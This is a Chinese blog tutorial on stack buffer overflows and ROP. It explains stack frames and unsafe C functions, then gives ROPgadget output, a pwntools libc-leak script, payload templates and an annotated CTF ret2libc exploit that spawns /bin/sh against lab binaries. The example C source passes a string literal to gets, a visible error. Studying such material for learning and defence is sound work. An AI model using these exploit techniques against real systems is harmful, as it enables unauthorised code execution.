缓冲区溢出原理
预备知识
我们先来看下缓冲区是什么,它就是内存中预留指定大小的存储空间用来对I/O的数据做临时存储,这部分内存空间就叫缓冲区,主要由堆,栈和静态数据区组成。当然也有缓冲寄存器,不过由于价格昂贵且容量较小,一般只用在对速度要求非常高的场合。

一般缓冲区分三大类:全缓冲、行缓冲、无缓冲
1.全缓冲:只有在缓冲区被填满之后才会进行I/O操作,比如对磁盘文件的读写。
2.行缓冲:只有在输入或输出中遇到换行符的时候才会进行O/I操作,比如标准的输入流(stdin)和输出流(stdout)。
3.无缓冲:标准I/O不缓存字符,比如标准错误输出流。
对缓冲区操作的函数有哪些?(C语言)
标准输出函数:printf、puts、putchar等
标准输入函数:scanf、gets、getchar等
内存分配函数:malloc、new和数组等
IO_FILE:fopen、fwrite、fread、fseek等
清除缓存区:fflush
当我们没有对输入限制大小,超出分配函数分配的空间大小,就会发生缓冲区溢出,攻击者可利用缓冲区溢出来改变进程运行时栈,从而改变程序正常流向,可能会导致程序崩溃,甚至是系统权限被获取。
接下来我们引入栈帧结构(在堆栈中,是其一部分)。
在C语言中,一般来说,每个栈帧都对应着一个未完成的函数,保存了函数的返回地址和局部变量。栈帧也叫活动过程记录,是一种数据结构。
C 语言自动提供的服务之一就是跟踪调用链——哪些函数调用了哪些函数,当下一个return语句执行后,控制将返回何处等。解决这个问题的经典机制是堆栈中的活动记录。
当每个函数被调用时,都会产生一个过程记录(或者类似的结构)。过程活动记录是一种数据结构,用于支持过程调用,并记录调用结束以后返回调用点所需要的全部信息。结构如下图所示

函数调用时会遵守函数调用约定去传递参数和返回地址。调用约定有这几种:__stdcall,__cdecl,__fastcall,__thiscall,__nakedcall,__pascal,__vectorcall。
参数传递顺序
1.从右到左依次入栈:__stdcall,__cdecl,__thiscall,__fastcall
2.从左到右依次入栈:__pascal
调用堆栈清理
1.调用者清除栈。 2.被调用函数返回后清除栈。
原理
看完函数调用约定我们回头继续学习栈帧结构。
每个函数的每次调用,都有它自己独立的一个栈帧,这个栈帧中维持着所需要的各种信息。寄存器ebp指向当前的栈帧的底部(高地址),寄存器esp指向当前的栈帧的顶部(低地址)。下图为地址空间、栈帧所处层次结构。

由于将函数返回地址这样的重要数据保存在程序员可见的堆栈中,因此给系统安全带来一些隐患。若将函数返回地址修改为指向一段的恶意代码,则可达到危害系统安全的目的。此外,堆栈的恢复依赖于压栈的ebp值的正确性,但ebp域邻近局部变量,若编程中有意无意地通过局部变量的地址偏移窜改ebp值或返回地址,则程序的行为将变得非常危险。
我们可以编写一个简单程序,进行调试,深入理解程序是如何运行的。源代码如下,测试系统为Kali 20.04 (64位),使用工具为GDB
#include <stdio.h>
int add (int a,int b);
int main ()
{
int a=1,b=2,c;
c=add(a,b);
printf("%d",c);
return 0;
}
int add (int a,int b)
{
int c;
c=a+b;
return c;
}
汇编代码如下
0x555555555139 <main+4> sub rsp, 0x10
0x55555555513d <main+8> mov dword ptr [rbp - 4], 1
0x555555555144 <main+15> mov dword ptr [rbp - 8], 2
0x55555555514b <main+22> mov edx, dword ptr [rbp - 8]
0x55555555514e <main+25> mov eax, dword ptr [rbp - 4]
0x555555555151 <main+28> mov esi, edx
0x555555555153 <main+30> mov edi, eax
► 0x555555555155 <main+32> call add <add>
rdi: 0x1
rsi: 0x2
rdx: 0x2
rcx: 0x7ffff7fad738 (__exit_funcs) —▸ 0x7ffff7fafb20 (initial) ◂— 0x0
0x55555555515a <main+37> mov dword ptr [rbp - 0xc], eax
0x55555555515d <main+40> mov eax, dword ptr [rbp - 0xc]
0x555555555160 <main+43> mov esi, eax
0x555555555162 <main+45> lea rdi, [rip + 0xe9b]
0x555555555169 <main+52> mov eax, 0
我们来看看gdb开始调试的信息

rbp和rsp指向同一个地址,执行main函数之前的rp,空间分配出来了。0x555555555135 (main) ◂— push rbp压入主函数的rbp值。也可以画个堆栈图进行理解。
再来看看调试时的信息


执行ret指令,返回地址出栈,跳到返回地址。通过rip移动可知道返回地址在rbp下面。rbp出栈恢复原来的值。
程序就快结束了。
想要更详细的了解缓冲区溢出,参考某大神文章,点击这里。
漏洞利用
本篇只研究栈溢出漏洞利用
危险函数
我们在上文列出了一些缓冲区操作的函数,这里我们就讲讲常发生栈溢出的危险函数。
gets():直接读取一行,到换行符’\n’为止,同时’\n’被转换成’\x00′;
scanf():格式化字符串中的%s不会检查长度;
vscanf():同上;
sprintf():将格式化后的内容写入缓冲区中,但是不检查缓冲区长度;
strcpy():遇到’\x00’停止,不会检查长度,经常容易出现单字节写0(off by one)溢出;
strcat(): 同上。
覆盖位置
一般分为三种:
1.覆盖函数返回地址,通过覆盖返回地址控制程序。
2.覆盖栈上所保存的BP寄存器的值。函数被调用时会先保存栈现场,返回时再恢复,如下(以x64程序为例):
push rbp
mov rbp,rsp
leave ;相当于mov rsp,rbp pop rbp
ret
返回时:如果栈上的BP值被覆盖,那么函数返回后,主调函数的BP值会被改变,主调函数返回指令ret时,SP不会指向原来的返回地址位置,而是被修改的BP位置。
3.根据现实执行情况,覆盖特定的变量或地址的内容,可能导致一些逻辑漏洞的出现。
ROP
在前面两篇文章中,我学习了简单的返回式导向编程(ROP),但是现实情况不可能这么简单就获取shell。所以我将深入学习ROP,去实现更深层次的漏洞挖掘。
我们可以利用ret(0xc3)指令结尾的指令片段(gadget)构建一条ROP链,来实现任意指令执行,最终实现任意代码执行。
我们可以将其分为三步:
1.寻找ret指令,查看ret前的字节是否包含有效指令;
2.找到有效指令后,将其标记,得到一系列这样以ret结束的指令后,将这些指令的地址按顺序排列放在栈上;
3.这样就会让程序每次执行完相应指令后,其结尾的ret指令会将程序控制流传递给栈顶的新的Gadget继续执行。这样一段连续的Gadget构成了一条ROP链,从而实现任意指令执行。
工具准备
IDA Pro、ROPgadget、pwntools等
例子:
#include<stdio.h>
#include<unistd.h>
int main(){
char buf[10];
puts("hello");
gets("buf");
}
用下列命令进行编译:
gcc rop.c -o rop -no-pie -fno-stack-protector
程序中没有预置的可以用来执行命令的函数
先用ROPgadget找出程序中的Gadget:
Gadgets information
============================================================
0x0000000000401079 : add ah, dh ; nop dword ptr [rax + rax] ; ret
0x0000000000401151 : add al, ch ; jmp 0xffffffffb9401156
0x00000000004010ab : add bh, bh ; loopne 0x401115 ; nop ; ret
0x000000000040114f : add byte ptr [rax], al ; add al, ch ; jmp 0xffffffffb9401156
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401158 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x0000000000401128 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; jmp 0x4010c0
0x0000000000401159 : add byte ptr [rax], al ; add cl, cl ; ret
0x0000000000401078 : add byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; ret
0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020
0x000000000040115a : add byte ptr [rax], al ; leave ; ret
0x000000000040112a : add byte ptr [rax], al ; nop dword ptr [rax] ; jmp 0x4010c0
0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x000000000040107e : add byte ptr [rax], al ; ret
0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax
0x000000000040107d : add byte ptr [rax], r8b ; ret
0x0000000000401117 : add byte ptr [rcx], al ; pop rbp ; ret
0x000000000040115b : add cl, cl ; ret
0x00000000004010aa : add dil, dil ; loopne 0x401115 ; nop ; ret
0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401118 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
0x0000000000401013 : add esp, 8 ; ret
0x0000000000401012 : add rsp, 8 ; ret
0x0000000000401010 : call rax
0x00000000004010a8 : cmp byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401115 ; nop ; ret
0x00000000004011a4 : fisttp word ptr [rax - 0x7d] ; ret
0x0000000000401042 : fisubr dword ptr [rdi] ; add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x000000000040107a : hlt ; nop dword ptr [rax + rax] ; ret
0x000000000040100e : je 0x401012 ; call rax
0x00000000004010a5 : je 0x4010b0 ; mov edi, 0x404038 ; jmp rax
0x00000000004010e7 : je 0x4010f0 ; mov edi, 0x404038 ; jmp rax
0x000000000040103b : jmp 0x401020
0x0000000000401130 : jmp 0x4010c0
0x0000000000401153 : jmp 0xffffffffb9401156
0x00000000004010ac : jmp rax
0x000000000040115c : leave ; ret
0x0000000000401032 : loop 0x401063 ; add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x00000000004010ad : loopne 0x401115 ; nop ; ret
0x0000000000401112 : mov byte ptr [rip + 0x2f1f], 1 ; pop rbp ; ret
0x0000000000401157 : mov eax, 0 ; leave ; ret
0x00000000004010a7 : mov edi, 0x404038 ; jmp rax
0x00000000004010af : nop ; ret
0x000000000040107b : nop dword ptr [rax + rax] ; ret
0x000000000040112c : nop dword ptr [rax] ; jmp 0x4010c0
0x00000000004011bd : nop dword ptr [rax] ; ret
0x00000000004010a6 : or dword ptr [rdi + 0x404038], edi ; jmp rax
0x00000000004011b4 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004011b6 : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004011b8 : pop r14 ; pop r15 ; ret
0x00000000004011ba : pop r15 ; ret
0x00000000004011b3 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004011b7 : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000401119 : pop rbp ; ret
0x00000000004011bb : pop rdi ; ret
0x00000000004011b9 : pop rsi ; pop r15 ; ret
0x00000000004011b5 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401036 : push 0 ; jmp 0x401020
0x0000000000401046 : push 1 ; jmp 0x401020
0x0000000000401016 : ret
0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000004011c5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004011c4 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040100c : test eax, eax ; je 0x401012 ; call rax
0x00000000004010a3 : test eax, eax ; je 0x4010b0 ; mov edi, 0x404038 ; jmp rax
0x00000000004010e5 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404038 ; jmp rax
0x000000000040100b : test rax, rax ; je 0x401012 ; call rax
Unique gadgets found: 67
这个程序很小,可供使用的Gadget非常有限,其中没有可以用来执行系统调用的Gadget,所以很难实现任意代码执行。但可以想办法先获取一些动态链接库(如libc)的加载地址,再使用libc中的Gadget构造可以实现任意代码执行的ROP。
程序中常常有像puts、gets等libc提供的库函数,这些函数再内存中的地址会写在程序的GOT表中,当程序调用库函数时,会在GOT表中读出对应函数在内存中的地址,然后跳转到该地址执行,所以先利用puts函数打印库函数地址,减掉该库函数与libc加载基地址的偏移,就可以计算出libc的基地址。
.plt:0000000000401030
.plt:0000000000401030 ; Attributes: thunk
.plt:0000000000401030
.plt:0000000000401030 ; int puts(const char *s)
.plt:0000000000401030 _puts proc near ; CODE XREF:main+F↓p
.plt:0000000000401030 jmp cs:off_404018
.plt:0000000000401030 _puts endp
.plt:0000000000401030
.plt:0000000000401036 ; --------------------------------------------------
puts函数被保存在0x404018位置,只要调用puts(0x404018),就会打印puts函数在libc中的地址。
from pwn import *
p=process('./rop')
pop_rdi=0x4011bb
puts_got=0x404018
puts=0x401030
p.sendline(b'a'*18+p64(pop_rdi)+p64(puts_got)+p64(puts))
p.recvuntil(b'\n')
addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(addr))
[+] Starting local process './rop': pid 25192
0x7f8f18a09210
[*] Stopped process './rop' (pid 25192)
根据puts函数在libc库中的偏移地址,就可以计算出libc的基地址,然后可以利用libc中的gadget构造可以执行”/bin/sh”的ROP,从而获得shell。
参数传递
32位传参是通过栈来传递
利用write函数泄露libc中write的地址的payload模板:
payload = 'a' *xxx + p32(write_plt) + p32(ret_addr) + p32(1) + p32(got_write) + p32(4)
32位含参调用模板:
payload = 'a' * xxx + p32(fun1_addr) + p32(fun2_addr) + p32(arg_1) + p32(arg_2)….
64位前六个参数传递是靠寄存器rdi,rsi,edx,ecx,r8,r9,然后再栈。
我们仅能控制栈中的数据,因此需要利用一些gadgets。
pop | ret 利用模板:
payload = 'a' * xx + p64(gadget_addr) + p64(rdi) + p64(func_addr)
pop | call 利用模板:
payload = 'a' * xx + p64(gadget) + p64(func_addr) + p64(rdi)
一个rdi适合一个参数的函数传参 参考链接
三个参数用__libc_csu_init()这个函数 参考链接
六个参数可以用_dl_runtime_resolve()这个函数 参考链接
下面我们看道简单的例题:
链接:https://pan.baidu.com/s/12DpUsJyep7zvFd03ka5uaQ
提取码:abcd
官方wp如下(我只保留了exp的关键部分并加了部分注释):

test_thread = 0x4011b6
prdi = 0x0000000000401313
ret = 0x000000000040101a
pay = b'c'* (0x30-4) #垃圾数据,一直填充至i
pay += p32(0x30-4) # int i,防止被意外改变
pay += p64(0) # 填充rbp
pay += p64(prdi) +p64(binary.got['puts']) #引用got表的puts给rdi
pay += p64(binary.plt['puts'])
pay += p64(test_thread) #返回test_thread函数
sl(pay)
ru(b'\n')
puts = uu64(ru(b'\n', drop=True)) #得到put地址
leak('puts', puts)
lbase = puts-libc.sym['puts'] #得到libc基址
system = lbase+libc.sym['system'] #得到system地址
binsh = lbase+next(libc.search(b'/bin/sh')) #得到binsh地址
pay = b'c'* (0x30-4) #垃圾数据,一直填充至i
pay += p32(0x30-4) # int i,防止被意外改变
pay += p64(0) # 填充rbp
pay += p64(prdi) +p64(binsh) #binsh传给rdi
pay += p64(ret) # 栈对齐
pay += p64(system) # 返回system函数
大概就是这么个流程,不懂可以留言
本文链接: 缓冲区溢出及攻击总结(一)